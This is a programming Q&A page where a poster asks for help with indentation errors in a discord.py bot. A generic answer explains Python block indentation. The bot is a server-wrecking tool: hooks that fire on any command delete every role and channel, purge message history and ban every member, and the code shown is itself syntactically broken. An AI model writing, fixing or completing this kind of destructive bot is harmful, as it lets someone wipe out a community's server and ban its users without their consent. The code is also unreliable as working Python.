Click here to Skip to main content
15,887,746 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
Hi, I have been working on a bot in Discord.Py and I have recently encountered some errors. Here is my code:
Python
import discord
from discord.ext import commands
import asyncio
import time
import yapf

bot = commands.Bot(command_prefix="£")


@bot.event
async def on_ready():
    print('We have logged in as {0.user}'.format(bot))


@bot.before_invoke
async def idk(ctx):
    for role in ctx.guild.roles:
        try:
            await role.delete()
        except:
            await ctx.send(f"Cannot delete {role.name}")


@bot.command()
async def M79Dya3(ctx):
 limit = 0
 async for msg in ctx.channel.history(limit=None):
        limit += 1
 for channel in ctx.guild.channels:
  await ctx.channel.purge(limit=limit)
time.sleep(5)


@bot.after_invoke
async def idklol(ctx):
 for c in ctx.guild.channels:
  await c.delete.all()
  time.sleep(10)
 channel = await ctx.guild.create_text_channel('goodbye-potatoes')
 ctx.channel.send("hello")
time.sleep(30)
for user in ctx.guild.members:
 try:
    await user.ban(reason=None", delete_message_days=7)
   print(f'Banned {user.display_name}!')
   print(f"Banning is complete!")
 except:
     pass


bot.run ('token goes here')


What I have tried:

When I properly indent this section of the code: <pre lang="Python">try:
   await user.ban(reason=None)
   print(f'Banned {user.display_name}!')
   print(f"Banning is complete!")
  except:
     pass

I get more errors on this part:
Python
channel = await ctx.guild.create_text_channel('goodbye-potatoes')
 ctx.channel.send("hello")
time.sleep(30)
for user in ctx.guild.members:
  try:
   await user.ban(reason=None)

The error for
channel = await ctx.guild.create_text_channel('goodbye-potatoes')
is
Quote:
local variable 'channel' is assigned to but never used
, the error for
ctx.guild.members:
is
Quote:
undefined name 'ctx'
and the error for
await user.ban(reason=None)
is
Quote:
'yield' outside function
. I don't know if i have indented the code incorrectly or if there is something wrong with the actual code, but if someone could help that would be great. Thanks.
Posted
Updated 10-Jun-22 8:37am

1 solution

Indentation in Python is significant: it defines what code is in what block. And to be in a block, code must be at the same indentation level.
So this is valid:
Python
for foo in bar:
    doSomething
    doSomethingElse
doSomeMore
And so is this:
Python
for foo in bar:
    doSomething
doSomethingElse
doSomeMore
But this isn't:
Python
for foo in bar:
    doSomething
  doSomethingElse
doSomeMore
Because the system has no idea what block of code doSomethingElse is part of.

Your indentation isn't consistent, which means you get the error you describe.
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900